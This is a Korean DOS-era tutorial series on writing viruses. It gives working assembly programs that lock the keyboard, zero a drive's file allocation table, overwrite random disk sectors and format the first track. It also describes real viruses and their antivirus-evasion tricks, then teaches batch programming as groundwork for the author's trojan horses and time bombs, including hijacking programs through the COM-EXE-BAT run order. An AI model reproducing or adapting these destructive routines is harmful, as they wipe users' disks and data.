키보드 인터럽트가 걸리게 되면 메모리의 0000:0024h 번지의 내용으로 점프하게
된다. 따라서 이 내용을 바꾸게 되면 키보드 인터럽트를 가로챌 수 있다.
이 프로그램은 도스의 기능 호출 35h로서 인터럽트 벡터를 알아낸다.
그리고 인터럽트 6번은 사용되지 않는 인터럽트이다.
이 프로그램은 인터럽트 9h의 처리 루틴 주소를 인터럽트 6h의 주소로 바꾸어
놓는 일을 한다. 따라서 키가 눌러져서 인터럽트 9h가 발생하면 결국 인터럽트
6h를 실행하게 된다. 그런데 인터럽트 6h는 사용 되지 않는 것이기 때문에 아무
일도 하지 않게 되므로 더 이상 키보드를 사용할수 없게 된다.
< Ctrl + Alt + Del > 도 사용할수 없다.

< 주의 > 이 프로그램이 실행이 되고 나면 시스템을 다시 부팅 시키는 수밖에
         없다.

< 참고 > 이 프로그램에다가 하드를 쓸데 없이 많이 읽게 하거나 특정한 트랙
         이나 랜덤한  트랙을 포맷하게 한다면 무서운 일이 버러질수 있다.
         하드의 수명이 줄고 format 명령으로 다시 포맷을 해야하는 경우가
         생기니까....


♠FAT 파괴 프로그램
──────────────────────────────────────
이 프로그램은 현재 사용 중인 드라이브의 할당 테이블을 모두 0 으로 만들어
버린다.  실행시 반드시 테스트 디스켓을 사용할것.

   1: code      segment para 'code'
   2:           assume  cs:code
   3:
   4:           org  100h
   5:
   6: start:
   7:           mov  ah,19h              ; 현재 사용중인 드라이브 알아내기
   8:           int  21h
   9:
  10:           mov  dl,al               ; 드라이브 번호 알아내기
  11:
  12:           mov  ah,3                ; 섹터 쓰기
  13:           mov  al,4                ; 기록할 섹터수
  14:           lea  bx,cs:buffer        ; 데이타 버퍼의 오프셋
  15:           mov  ch,0                ; 트랙 번호
  16:           mov  cl,2                ; 섹터 번호
  17:           mov  dh,0                ; 헤드 번호
  18:           push cs
  19:           pop  es                  ; 데이타 버퍼의 세그먼트
  20:           int  13h
  21:
  22:           int  20h
  23:
  24:      buffer    db 512 * 4 dup(?)   ; 데이타 버퍼
  25:
  26: code      ends
  27:           end  start


위 프로그램은 화일 할당 테이블을 바꾸는 프로그램으로, 그 내용은 모두 0 으로
만들어 버린다. 7,8행에서 현재 사용 중인 드라이브를 알아내고, 그 결과 사용
중인 드라이브 번호는 AL에 들어가 있게 된다. 10~20행에서는 BIOS 인터럽트 13h를
이용하여 디스크에 기록하는 일을 한다.

[ 실험 결과 ]  화일 할당 테이블이 모두 0 으로 변하였고, 화일을 실행시키려 하면
               에러가 발생한다.

♠임의의 디스크 섹터 파괴
──────────────────────────────────────
이 프로그램은 현재 사용 중인 드라이브의 디스켓을 파괴한다.


   1: code      segment para 'code'
   2:           assume  cs:code
   3:
   4:           org  100h
   5:
   6: start:    mov  ah,2ch              ; 현재 시간 구하기
   7:           int  21h
   8:
   9:           mov  ds,cx               ; 전송 버퍼의 세그먼트
  10:
  11:           mov  ax,dx               ; 디스크의 랜덤 섹터 구하기
  12:           xor  dx,dx
  13:           mov  dx,720
  14:           div  bx
  15:
  16:           mov  al,19h              ; 현재 사용중인 드라이브 알아내기
  17:           int  21h
  18:
  19:           xor  bx,bx               ; 전송할 버퍼의 오프셋
  20:           mov  cx,1                ; 기록할 섹터수
  21:           int  26h                 ; 디스크 쓰기
  22:
  23:           int  20h                 ; 프로그램 종료
  24:
  25: code      ends
  26:           end  start

< 설명 > 이 프로그램은 시스템으로부터 시간을 읽어서 그 값을 이용하여 섹터를
         파괴한다. 6~7 행에서 현재 시간을 구하고, 9~14행에서는 구한 시간을
         가지고 랜덤 섹터를 구한다. 21행에서는 DOS의 인터럽트를 이용하여
         디스크 쓰기를 하였다...

< 결과 > 이 프로그램을 실행할때 마다 사용중인 디스크의 임의의 섹터를 파괴한다.

♠디스크의 첫 트랙 포멧
──────────────────────────────────────
이 프로그램은 현재 사용 중인 드라이브의 첫 트랙을 포멧시킨다.
한번 실행 시키면 그 디스크는 도스의 FORMAT.EXE 나 PCTOOLS.EXE 로 다시 포멧
시켜야지만 사용할 수 있다.

   1: code      segment para 'code'
   2:           assume  cs:code
   3:
   4:           org  100h
   5:
   6: start:
   7:           mov  ah,19h              ; 현재 사용중인 드라이브 알아내기
   8:           int  21h
   9:
  10:
  11:           mov  dl,al               ; 드라이브 번호
  12:
  13:           mov  ah,5                ; 트랙 포멧하기
  14:           mov  al,9                ; 섹터의 갯수
  15:           lea  bx,marker           ; 어드레스 마커의 오프셋
  16:           push cs                  ; 어드레스 마커의 세그멘트
  17:           pop  es
  18:           mov  ch,0                ; 트랙 번호
  19:           mov  cl,1                ; 섹터 번호
  20:           mov  dh,0                ; 헤드 번호
  21:           int  13h
  22:
  23:           int  20h
  24:
  25:      marker    db 0                ; 트랙 번호
  26:                db 0                ; 헤드 번호
  27:                db 1                ; 섹터 번호
  28:                db 2                ; 섹터당 바이트(512)
  29:
  30: code      ends
  31:           end  start

< 설명 > 바이러스가 수행할 수 있는 작업 중에 가장 치명적이고 심각함 문제가
         되는 것이 디스크를 포멧시키는 것이다.
         위 프로그램을 보면 알수 있듯이 디스크를 포멧하는 것은 아주 간단하고
         쉽다. 7~8 행에서 현재 사용중인 드라이브를 알아내고, 트랙,섹터,헤더에
         값을 주어 디스크의 첫 트랙을 포멧시도록 되어 있다.

< 결과 > 이 프로그램이 실행되고나면 현재 사용중인 드라이브의 디스크를 파괴시킨
         다.



(3) 어셈블리 바이러스 실제 구현
실제로 어셈블리로 제작된 바이러스의 소스를 공개하겠다. 어셈블리로  제작된 바이러스의 구조와
원리 등을 파악하여 대처하기 바란다.


 A. 시스터보 바이러스
이 바이러스는 예전에 하이텔 OSC동호회에 올려졌던 SYSTURBO 바이러스의 정식 버젼(?)이다.
고정적인 코드는 다른 풀그림에서도 사용되는 mov ax,cs/mov  ds,ax, 이런 코드이기에 백신 제조
시 자칫 멀쩡한 프로그램을 오판할수 있는 기회를 많이 주었다.
감염외에는 아무일도 하지 않는다.
다크어벤져식의 램 상주 방법으로는 EMS상태에서  감염된 화일이 처음 실행시 pklite 1.03버젼과
exepack 4.0버젼으로 압축된 화일과  잘 동작이 되지 않았다. 그래서 처음  실행되는 감염된 화일
의 실행은 예루살렘의 재로딩 기법을 썼다. 소스는 다소  길어졌지만 기존 다크어벤져나 예루살렘
이 EMS에서 잘 작동되지 않던 것은 것을 고쳤다고 할 수 있다.
상주 여부는 벡터테이블중  CP/M처리 루틴이 있는 8바이트  영역에 있다. 이것중 한바이트를 이
용, 이 값이 25h이면 상주를 포기한다. 참고로  DIR-II도 이 부분을 쓰는데 이것과 위치를 틀리게
해서 충돌을 막았다.
이 프로그램의 특징은 XOR로 암호화 하는것과 앞과 뒤의 프로그램의 길이가 가변이라는 점이다.
그래서 기존 한국형 백신들이 오프셋의  어떤 바이러스문자열을 찾아 치료하는 그런 간단한 루틴
으로는 못치료하게 되었다. 물론 여기에서 소개하는 바이러스는 SYSTURBO 바이러스와 동일 루
틴이니 백신 치료는 가능하다.
실행되는 화일중 이름에 V, C, HWP는 피해서  감염한다. 백신과 스캔 그리고 COMMAND.COM,
, 아래아 한글을 피하기 위한것이다.


 B. KIT 바이러스
1991년 10월에 케텔(KETEL)의  공개자료실(GLdown)에서 발견된 파일 바이러스이며,  한국산 파
일   바이러스중에서  8번째로   발견된  바이러스이다.   공개   자료실에  7455번으로   등록된
LPARK2.COM이라는 프로그램으로  4yfkg9라는 사용자가 등록했으며, VGA용  파킹(Parking) 프
로그램이라는 설명이 붙어있었다.
이  프로그램을 실행시키면  PARK2.COM이라는  13344 byte  길이의  프로그램이 생성되는  데
PARK2.COM을 실행시키면 'Turn Off Your System!'(당신의 시스템을 끄시오!)이라는 말과  함께
여자의  상반신  누드사진이  불분명하게  출력된다.  이  바이러스를  분석해  보면  'Copyright
1991-1999.KIT VIRUS(version 2.0)'이라는 문자열이 존재한다.
감염된 프로그램을 실행시킨지 20분이 경과하면 키보드에서 <Num Lock>,<Caps Lock>, <Scroll
Lock>을 나타내는 세개의 램프가 번갈아가면서 점등하는 현상이 발생하는  데, 이 모습이 TV 외
화 프로그램인 '전격 Z  작전'에 나오는 자동차의 이름인 키트(KIT)의 앞모습과  비슷하여 이름을
붙인 것이다.
상주형, 기생형 바이러스이다. 감염되면 확장명이 COM 파일인  경우는 2384 byte 늘어나고, EXE
파일은 바이러스가 기억장소에 상주한 시간에 따라서 증가 길이가 달라져서 2384∼2479 byte까지
증가할 수 있다.
감염후 파일을 수행할 경우  20분 간격으로 30초간 키보드 우측상단의 3개의  램프를 깜박거린다.
프로그램을 실행시키기 위해서  로드하는 시간이 평소보다 오래 걸린다.  백신Ⅲ와 SCAN은 감염
되어도 길이가  증가하지 않는다. 진단하기 위해서는  VⅢ63 이상을 사용해야  하며, 치료는 VⅢ
V63 이상의 버전을 사용해야 한다.
소스는  KIT20.ASM 이란것으로 제공하니 참조하기 바란다.


 C. 에이즈(AIDS) 바이러스
이 바이러스는 하하하(Hahaha), 조롱(Taunt),  VGA2CGA 바이러스라고도 알려져 있다. 겹쳐쓰기
형 및 비상주형 바이러스이다. COM 프로그램의  처음 13KB 정도를 바이러스 프로그램으로 채우
기 때문에 완전히 복구가 불가능하다.  'Your Computer now has AIDS'라는 말을 출력하면서 시
스템을 정지시킨다.


기타 바이러스......

----------------------------------------------------------------------
이 강좌의 어떤 내용도 저자와의 협의없이 무단 복제/전파 하는것을
금합니다.
----------------------------------------------------------------------

안녕하세요.
4번째 강좌입니다.

당분간 배치화일 프로그래밍 기법을 이용한 트로이목마&시한폭탄 바이러스를
만들어 봅시다.
실제 사용하는 트로이목마&시한폭탄 바이러스는 본인이 직접 개발한 것들로
아주 독창적인 것으로 그 누구도 아직 만들지 못한 것들이죠.
많은 도움 되길 바랍니다.

구어체로 구성하여 보시기 좋을듯 합니다.

이제부터 "배치화일"을 시작해 봅시다.
일단 기본적인 문법을 쉽게 배워보고 그다음 유틸리티등 소스를 보며
진행하는 방향입니다.

조금씩 진행하고 점점 강화하겠습니다.
첨부터 질리면 곤란하겠죠?
차근 차근 해보자구요.

배치화일의 시작

정의 :도스의 배치화일은 하나 또는 여러 개의 도스 명령어들로 구성되는
텍스트 화일이다. 배치화일은 확장자가 BAT이다.
라고 정의 됩니다.

여러분이 기존까지 알고있는 배치화일이란게 고작 AUTOEXEC.BAT나 게임같은
거 할때 몇개의 명령어를 합쳐놓은것에 불과하다는 정도로만 알고있을겁니
다.
하지만 "배치"로 만들수있는 것들은 무척 다양합니다.
우린 바로 이러한 것을 배우고 "배치"로 바이러스를 배우자는게 목적입니다
거기에 해킹에 대한 약간의 지식도 함께 말이죠.

이제 실전으로 들어가죠.

우선 "배치"화일을 어떻게 만들까요?
대부분의 경우 에디터 로 만듭니다.
하지만 순수한 도스에서 만들수도 있습니다.

*하나,화면을 지운후 날짜를 표시하는 프로그램

예)
COPY CON ddate.BAT 엔터
CLS
DATE
^Z  <== CTRL + Z 입니다. 이명령을 반드시 줘야 화일을 생성해 냅니다.
1 FILES COPIED <= 이렇게 되면 된것입니다.

첨보실거에요, COPY CON 이란걸~ COPY 다음에 CON 이 들어가면 이렇게 할수
있답니다. 아셨죠? 반드시 기억하세요!! 이런 잘 쓰지않는것들이 큰 힘이
되니까요.

자 실행해보면, 화면이 지워진후 날짜가 표시되며 입력을 기다릴겁니다.
여기서 프로그램들속에 포함되어있는,
컴파일러(실행형 파일 변환 프로그램)를 작동해 봅시다.
BAT2EXE TIME.BAT 이렇게 해보시면 TIME.COM 이 생성되어 있을겁니다.
그럼 TIME.COM을 실행시켜 보세요. 더욱 빠른속도로 소스를 안보이면서 실
행이 될겁니다.

여러분, AUTOEXEC.BAT를 보면 PROMPT $P$G 라고 쓰여진 줄이있죠?
이것이 있기때문에 우린 디렉토리를 이동할때마다 해당 디렉토리가 표시되
는 것입니다. PROMPT 다음에 여러가지 설정값을 변경시켜 줄수있습니다.

설정값 몇개)
$b  "|"문자
$d  날짜표시
$e  ASCII "escape"문자
$g  ">"문자
$h  ASCII "back space"문자
$i  "<"문자
$n  현재 사용중 disk drive표시
$p  사용중은 디렉토리가 명시된 디스크 드라이브 문자
$q  "="문자
$t  시간표시
$v  도스 버전 표시

지금 PROMPT 를 바꿔보세요. 직접 무엇인가 해보는게 중요합니다.
경험이 최고죠!
도스란 괴물은 COM,EXE,BAT 요 세가지것으로 실행합니다.
근데 만약 AAA.COM  AAA.EXE  AAA.BAT라는 이름이 같은 세개의 화일이 같은
디렉토리에 있을때 과연 우선순위가 무엇일까요?
COM->EXE->BAT 순입니다. 반드시 기억!!
이건 아주 중요한 의미를 갖습니다.
우리가 나중에 바이러스를 제작할때 반드시 요긴하게 쓰니까요.
바로 똑같은 화일명으로 숨어서 가로챌수 있단는거죠.

가장 간단한 화일찾기 프로그램을 만들어 봅시다.
배치로짜는 화일찾기 프로그램은 현재 여러가지 방법이 존재하나
가장 간단한 명령을 먼저 소개합니다.
이 방법은 관심만 있었으면 대부분 잘 아실겁니다.

*둘, 간단한 파일찾기 프로그램
예)
COPY CON FFIND1.BAT <= 에디터로 작성해도 됨, 화일명 변경가능
@ECHO OFF <=화면에 명령어가 보이지않게 함
ATTRIB \*.* /S | FIND "%1"
^Z

한줄이라 간단하죠? 우선 무엇인지 설명을 해보죠.
첫줄에 @ECHO OFF 라고 새로 추가된게 있을겁니다.
이것을 맨 처음에 써주면 배치화일이 실행하면서 내부 명령어들을 밖으로
보이지 않게 하는것입니다.
배치화일은 실행하면 속을 다 내보이며 돌잖아요.
반드시 외워서 항상 사용해야 합니다
일단은 이런게 있다는정도만 알아두시고, 자세한건 계속 다룰겁니다.
BAT2EXE FFIND1.BAT  하시면 FFIND1.COM 이 생성됩니다.
이제 여러분은 자신만의 실행화일을 만들수있습니다.

어떤 프로그램이든지 소스에 주석(개인적으로 작성한 설명)을 달아놓습니다.
그래야 설명이 붙어있어 만든사람도 나중에 보기도 쉽고 고치기도 쉬우니까요
C 에서는 /* 내용 */ 즉, /* 와 */ 를 씁니다만, 배치에서는 REM 을 씁니다

*셋, 주석문 이용한 프로그램
예)
COPY CON REMSAMPLE.BAT
@ECHO OFF
REM 작성자 : 김태봉
REM 작성일 : 95/02/03
..............
^Z

이렇게 말입니다.
REM 이 일단 선언되면 뒤에 나오는 내용은 컴파일시 제외됩니다.
아무런 문제는 일으키지 않고요.

지금 우리가 하는 것은 바이러스 제작에 반드시 꼭 쓰는것입니다.
확실히 이해하시기 바랍니다.


기초가 튼튼해야 쓰러지지 않는법!
차근 차근 해보자구요.

2회때 배운 ECHO 명령어에 대해 좀더 알아봅시다.
ECHO 의 옵션으로는 ON / OFF 두가지가 있습니다.
ECHO 는 C언에서의 PRINTF 함수나 베이직의 PRINT 랑 그 성격이 비슷하다고
볼수있습니다.
실제 그 예를 보겠습니다.

"<=" 표시는 제가 설명하는 부분입니다. 실제 소스에는 없습니다.

예) 간단한 화면표시 프로그램
HELLO.BAT <= COPY CON 이나 에디터에서 이렇게 만드는건 아시죠?

@ECHO OFF <= 되도록 이줄은 항상 처음에 위치시키시는거 전에 배웠죠.
REM       주석을 달때는 REM 잊지마세요.주석달기의 습관화 좋습니다.
ECHO      ALT + 255 <= 확장 아스키명령
ECHO.
ECHO      HELLO!  <= 기냥 아무거나 쓴 문자
ECHO.
PAUSE             <= 키입력 기다리는 명령어
^Z        <= CTRL + Z

1FILE(S) COPIED

이제 실행 시켜보세요.

HELLO!  라고 표시될겁니다.
그리고 "PRESS ANY KEY TO CONTINUE..." 라고 표시되면 엔터 한번치세요.

이제 감잡으셨죠? ECHO 다음에 어떤 문자등을 표기하면 튀어나온다는걸~
그리고  ECHO 다음에 . 을 찍은것은 . 이 있으면 그칸은 공란으로 그냥
넘어갑니다. 이걸 잘 활용하면 화면 위치에 글자를 맞추어 출력할수있겠죠?
ECHO. 말구 칸을 띄울수가 있습니다.
바로 요것인데,
ECHO ALT+255 <= ALT키랑 숫자패드의 255를 같이 누르면 한줄을 건너띕니다
문자출력하는것은 앞으로 무진장하게 쓰일것입니다.
자신이 만든 프로그램의 도움말로 쓰일수도 있고 설명으로 쓰이고 그 쓰임
새가 많고 반드시 알아야합니다.
맨끝줄에 보이는 PAUSE  는 임의의 키를 누를때까지 잠시멈출수 있게합니다
이것도 용도가 다양합니다.

팁: 배치로 짠 프로그램이 실행하고 있을때 강제로 멈출때는 CTRL+C 입니다
    이것은 꼭 배치만 해당되지 않고 대부분 써먹을수 있습니다.

근데, 문자를 한글로 달고 싶다구요?
C 로짠 소스도 자체한글 없는건 외부에서 완성,조합형 한글을 작동시켜야 하죠?
배치도 마찬가지입니다.
자체한글이 없어서 굳이 한글을 쓰실려면 미리 한글구동 프로그램을 띄워놓
으시고 쓰세요.

팁: 소스 처음에 한글구동 프로그램 미리 실행할수있게 지정해 두면 한글이
    보이겠죠?

좀더 응용해볼까요?

예) 하드 검사해서 에러나면 수정해서 나오는결과를 크기대로 정렬해서
    프린터로 찍는 프로그램

TEST1.BAT

@ECHO OFF
REM   아래거 해석하자면 프린터를 켜라는 얘기입니다.
PAUSE   TURN ON YOUR PRINTER TO PRINT DISK STATUS
CHKDSK /F | SORT > PRN
^Z

위의 것을 실행하면, PAUSE 다음에 쓴글들이 화면에 튀어나올겁니다.
이때 프린터켜시고 아무거나 누르면 바로 다음줄이 실행되죠.
CHKDSK 가요~~ 후훗~ 알고보니쉽죠?
근데~ | , > 를 모른다고요?
| 은 어떻게 생긴거냐면, 쉬프트 누르고 \ 표시 누르면 나옵니다.
뜻은 엔터 친거나 마찬가지 효과입니다.
즉 | 포함된 줄은 엔터안쳐도 엔터친것처럼 실행이 된다는말씀
그리고 > 은 뒤에 PRN 이나 NUL 혹은 화일 등이 따라올수 있습니다.
그러니까 출력내용을 어느 장치로 출력하라는 명령이죠.
PRN 은 프린터고요, NUL 은 아무것도 아님! 즉 표시하지말라는 거죠.
화일명을 주면 그리로 출력해요~ 화일로!! 햐~~ 굉장한 명령이죠?
둘다 응용가능성이 빵빵합니다.

요걸 좀더 응용하자면, DIR | SORT 해보세요.
디렉토리 목록을 정렬해서 출력할겁니다.
근데 마음대로 정렬을 조절하고 싶다구요?
그럼 여기 방법이 있으니 아래를보세요

* SORT 다음에 옵션값입니다.
----------------------
필드        번호
화일명       0
확장자      10
크기        13
날짜        24
시간        34
----------------------

이렇게 해보세요.

DIR | SORT /+34

어떻게변하나요?
시간순서로 주~욱 정렬해서 출력하죠?

다음으로 넘어가서, 2회때 소개된 파일찾기 프로그램있죠?
그것에 대해 분석하고 넘어갑시다.

예) 파일찾기 프로그램의 가장 단순한 유형

FFIND2.BAT

@ECHO OFF
REM    작성자 : 개나소나말이나닭이나
REM    날짜 : 하루이틀사흘나흘
REM    기능 : 현재 디스크의 모든 디렉토리를 조사해 *.BAT를 찾는다.
ATTRIB *.* /S | FIND ".BAT" | MORE <= ".BAT"의 내용을 바꿀수있다.
^Z

분석해봅시다.
첫줄지나 둘,세,네째줄은 주석입니다.
그리고 메인을 보면, | 이 얼마나 중요한 역할을 하시는지 아실겁니다.
근데 맨끝에 MORE 는 뭘까요?
MORE 가 들어가면 한 화면씩 넘어가게 만듭니다.
화일찾는데 많을경우 빠르게 화면 넘어가면 안되니까 한 화면씩 보면서
넘기라고 집어넣은 명령이죠.
보시면 아시겠지만 FIND 가 문자열을 잡아냅니다.
그걸 MORE 로 보내죠.
그러니까, 배치화일은 순서에 입각해서 작동한다 이말입니다.
그럼 조건이 안맞으면 되돌리거나 바꿀수없냐구요?
그건 5장에 배우실 "조건 분기"때 다룰겁니다.
그때보면 배치란 정말 강력한거구나 하고 느끼실겁니다.

다음번에 더 강력하고 막강한  파일찾기 배치소스의
다른 유형의 것을 소개해 드리겠습니다.
.


여기 소개된 BAT 화일들은 일일이 입력을 해보십시요.
단문이고 하니 직접 쳐보시는게 아마 좋을듯해서 뺐습니다.
계속되는 연습과 응용이 실력을 만드니까요.
장문같은거나 아주 중요한것들은 올려드릴텐 서운해하지 마세요.

BAT 소스로 작성하고 나서 BAT2EXE 화일명.BAT 하시면 컴파일하여
실행형 화일로 생성해냅니다.

어셈블리로 만든 바이러스 소스는 초보자들께서 다루기 좀 어렵겠지만
원하시는 분들이 계시니 바이러스 본격적으로 다룰때 올려드릴께요~

천천히 자세히 읽어보시면서 따라오시면 어느샌가 자신이 생길겁니다.
과정없는 결과란 없다는 말 아시죠?


연습! 연습! 연습이 가장 중요합니다!!
자기것으로 만드는데 연습이상 좋은건 없으니까요.


이제 배치 프로그래밍 과정의 절반을 넘어섭니다.
배치 프로그래밍이 끝나면 본격적인 바이러스 제작과정으로 넘어가니
기초를 확실히 닦아 놓길 누차 강조합니다.

지금까지 우리는 배치 프로그래밍의 기초를 배웠습니다.
이제부터 진정한 기능을 맛볼 차례입니다.

배치 파라미터 라는 것을 이용하여 명령들이 성공적으로 실행되었는지를 검
사하기위해 사용하는 도스의 IF 명령어를 배워봅시다.

그리고 특정 화일들 집합에 대해서 특정 명령어를 실행시켜주는 FOR 명령어
를 배웁니다. FOR 를 이용하여 *,? 등의 와일드 카드를 사용할수 있습니다.
이제부터 배치에 전문적인 기능을 부여할수 있습니다.

파라미터를 사용하려면 도스가 인식할 수 있는 %0 에서 %9 까지의 참조기호
를 배치화일 안에 미리 정의해야 합니다. 도스는 항상 파라미터 %0에 실행
시키는 배치화일의 이름을 할당합니다. 다음에 도스는 명령행에서 함께 지
정하는 각각의 정보들에 파라미터 기호 %1에서 %9까지를 할당합니다.
예를 들어봅니다.

예) 파라미터 이용한 간단한 예제

LOVE.BAT

@ECHO OFF
ECHO   I %0 YOU, YOU LOVE ME %0.BAT
^Z

LOVE.BAT 를 실행하시면  " I LOVE YOU, YOU LOVE ME LOVE.BAT "
이렇게 표시됩니다.
%0 에 LOVE 값이 입력된것이죠.

단, 파라미터 %0은 확장자 BAT는 포함하지 않습니다!!
다음을 한번 봅시다.

예) 간단한 예제 둘.

SHOW1.BAT

@ECHO OFF
ECHO   PARAMETER 1 IS %1
ECHO   PARAMETER 2 IS %2
ECHO   PARAMETER 3 IS %3
ECHO   PARAMETER 4 IS %4
ECHO   PARAMETER 5 IS %5
ECHO   PARAMETER 6 IS %6
ECHO   PARAMETER 7 IS %7
ECHO   PARAMETER 8 IS %8
ECHO   PARAMETER 9 IS %9
^Z

여기서 이렇게 SHOW1 A B C D E F G H I 실행해보세요.
이런 결과가 나올겁니다.

PARAMETER 1 IS A
PARAMETER 2 IS B
.
.
.
.
.
.
PARAMETER 9 IS I

이해되시죠?
각 파라미터 값에 특정 값이 대입된다는겁니다.
이걸 어디다 쓰냐구요?

널리 알려진 예인데, 다음예를 봅시다.

SAFECOPY AUTOEXEC.BAT AUTOEXEC.SAV

IF EXIST %2 PAUSE %2 ALREADY EXISTS
COPY %1 %2

IF EXIST AUTOEXEC.SAV PAUSE AUTOEXEC.SAV ALREADY EXISTS
COPY AUTOEXEC.BAT AUTOEXEC.SAV

이겁니다.
좀 어렵게 느껴질지 모르겠지만, 파라미터 라는건 바로 이렇게 입력값으로
쓴다는것만 알아두세요.
계속 설명하죠~~


IF 명령어를 사용하여 좀더 응용해 봅시다.

예)IF 와 배치 파라미터를 이용한 화일정렬 프로그램

SORTNAME.BAT

@ECHO OFF
ECHO   PLEASE WAIT........
DIR | SORT | FIND /V "I" > AA.DAT
DIR | FIND /V "A.DAT" | SORT /R | FIND "I" > DD.DAT
IF '%1' == 'A' TYPE AA.DAT
IF '%1' == 'D' TYPE DD.DAT
DEL AA.DAT
DEL DD.DAT
^Z

설명합니다.
이 화일은 파이프(|) 와 리디렉션(>)  연산자를 이용했습니다.
많은 것을 정렬하기에 둘째줄에 PLEASE WAIT..... 라고 기다리라는 메세지
를 삽입했습니다.
이러면 컴퓨터가 기다리라니 기다리겠죠?
첫번째는 오름차순 정렬이고 두번째는 내림차순 정렬하라는 뜻입니다.
이렇듯 화일의 SORTING 은 전강좌에서 얘기하였으니 아실겁니다.
> 는 추출된 데이타를 화일로 추출하라는거 아시죠?
이게 배치의 묘미중 하나입니다.
첫번째는 추출된 데이타를 AA.DAT 란 화일로 저장하라는 것입니다.
두번째는 추출된 데이타를 DD.DAT 란 화일로 저장하라는 것입니다.
AA.DAT 와 DD.DAT 는 임시화일로서 화면에 일단 보여준다음
DEL 로 지웁니다. 그래서 DEL 명령을 집어넣은것이죠.
IF 다음에 보시면 ==  가 있죠? = 는 등호인데 왜 ==를 쓰냐고요?
C에서도 그렇듯이 = 하나가 아니라 == 이렇게 두개를 쓰는약속입니다.
엿장수 마음이라나~~~~~~

좀더 쉽게 설명해볼까요?

예) IF EXIST 이용한 화일 존재여부 테스트

VIEW1.BAT

@ECHO OFF
IF EXIST %1 TYPE %1
IF NOT EXIST %1 ECHO NO FILE %1
^Z

여기서 이렇게 실행해봅시다.

VIEW1 \CONFIG.SYS <= 임의로 지정하세요.

실행하면 찾았는지 결과를 알려줄겁니다.
VIEW1 다음에 화일명 을 입력하면 그것이 %1 에 대입하는 방식입니다.

좀더 수정을 가해봅시다.

@ECHO OFF
IF NOT '%1' == '' IF EXIST %1 TYPE %1
IF NOT '%1' == '' OF NOT EXIST %1 ECHO NO FILE %1
IF '%1' == '' ECHO MUST SPECIFY A FILE NAME TO DISPLAY

이렇게 하면 좀더 완벽해집니다.

이걸 응용해봅시다.

컴퓨터 작업을 하다보면 아차 해서 화일을 덮어쓸때가 있죠?
덮어씌우면 복구도 안되고 정말 황당합니다.
이때 미리 방지할 프로그램을 만들어봅시다.
하지만 IF 기능으로는 *,? 를 완벽히 지원못합니다.
다음에 FOR를 배울때 확실해 질겁니다.

예) 안전한 복사 프로그램

SAFECOPY.BAT

REM 사용법 C:\SAFECOPY SOURCE.DAT TARGET.DAT
IF NOT '%2' == '' IF EXIST %2 ECHO %2 화일이 존재합니다.
IF NOT '%1' == '' IF NOT '%2' == '' IF NOT EXIST %2 COPY %1 %2
IF '%1' == '' ECHO 소스 화일과 목적지 화일을 지정해야 합니다.
IF NOT '%1' == '' IF '%2' == '' ECHO 목적지 화일을 지정해야 합니다.

사용법은 SAFECOPY 다음에 소스,타겟 화일을 입력하는것입니다.
아직 기능을 덜 활용해서 좀 구식이지만 원리만 알아두세요.
%2 에 지정된 목적 화일이 이미 존재하면 배치화일은 에러메시지를 출력하
고 실행을 끝냅니다.
이 배치화일은 존재하는 화일위에 덮어쓰지 못하게 합니다.


좀전에 추출데이타값을 화일로 받아내는거 보셨죠?
그걸 다시한번 해봅시다.

간단한 예를들어보죠.

TIME 치면 시간이 나올겁니다.
TIME > DATA.DAT 해보시면 DATA.DAT 란 화일에 TIME 의 시간값을
입력받습니다.
이걸 좀더 응용하면, TYPE 명령을 삽입하여 출력할수가 있습니다.
그러니까~ > 란게 출력방향을 지정한다는거!! 화일로 출력할수 있다는걸 아
시는게 중요합니다.

.

이제 슬슬 배치 프로그래밍의 절정기로 접어듭니다.

** GOTO 사용 : 조건분기 작성

GOTO 명령어는 단순히 도스로 하여금 배치화일의 특정한 부분으로 이동하도
록 지시하는 명령이다. GOTO를 사용하려면 배치화일 내의 원하는 특정 위치
에 레이블을 붙여놓아야 한다.
배치화일에 레이블을 붙이는 형식은 다음과 같이 레이블 이름과 콜론을 사
용한다.

:LABEL

여기서 : 의 사용이 중요합니다.

BASIC 프로그래밍에서는 행(10,20,30...) 을 사용했지만 배치에서는 행이
아니라 단순 나열형으로 가다 : 위치에서 지정된 조건등을 받습니다.

지정된 것이란, 예를들어~ GOTO LABEL 이죠.

구체화를 해보겠습니다.

VIEWVER.BAT

@ECHO OFF
GOTO  VIEWVER
DIR
:VIEVER
VER

설명하자면, GOTO 다음에 VIEWVER 이라고 했죠?
그래서 :VIEWVER 로 건너뛴 것입니다.
그뒤로 순서대로 VER 이 실행된 것이고요.
이해하셨나요?

다르게 살펴보면,

:ONE
:TEO
:THREE

이런식이죠~ 다 GOTO 에 의해 "조건분기" 되는것이랍니다.

.

** FOR 명령을 봅시다

다음을 보면,

VIEWIT.BAT

@ECHO OFF
IF NOT '%1' == '' IF EXIST %1 TYPE %1
IF NOT '%1' == '' IF NOT EXIST %1 ECHO % 화일이없습니다
IF '%1' == '' ECHO 출력하려는 화일이름을 명령행에서 지정하십시요

이것은 전에 우리가 만든 화일 내용출력 프로그램입니다.
이것을, FOR 와 GOTO 로 좀더 단순하고 강력하게 만들어 봅시다.

만약 TYPE 으로 복수의 화일을 본다면 불가능하겠죠?

그래서 프로그램을 짜보자면,

@ECHO OFF
IF NOT '%1' == '' IF EXIST %1 TYPE %1
IF NOT '%1' == '' IF EXIST %1 TYPE %2
.
.
.
.
.
.
IF NOT '%9' == '' IF EXIST %9 TYPE %9

이렇게 길어집니다.

하지만,FOR 를 사용해 도스에서도 실행되게 단문으로 작성해보면

C:\FOR %F IN (*.BAT) DO TYPE %F

이렇게  가능해집니다.

.

** SHIFT 사용하기

도스는 배치화일을 실행시킬 때마다 배치화일 명령행에서 입력한 값들을 파
라미터 %1에서 %9까지 차례대로 할당한다. 이러한 파라미터들을 사용하면
배치화일을 보다 효과적으로 사용할 수 있다. 그러나 대부분의 응용 프로그
램에서 9개의 파라미터면 충분하지만 9개 이상의 정보를 배치화일에 전달해
야 할 경우가 더러 있다. 여기서 우리는 배치화일 명령행에서 사용자가 지
정하는 모든 값들을 배치화일이 받아들일 수 있도록 하는 도스의 SHIFT 명
령어를 설명한다. SHIFT를 이용하여 기존의 배치 프로그램을 향상시키자.

SHIFT 이용하기

SHIFTEX.BAT

@ECHO OFF
ECHO %0 %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
ECHO %0 %1 %2 %3 %4 %5 %6 %7 %8 %9

이렇게 실행해보자
SHIFTEX A B C D E F G H I J K L

결과는!!

SHIFTEX A B C D E F G H I
A B C D E F G H I J

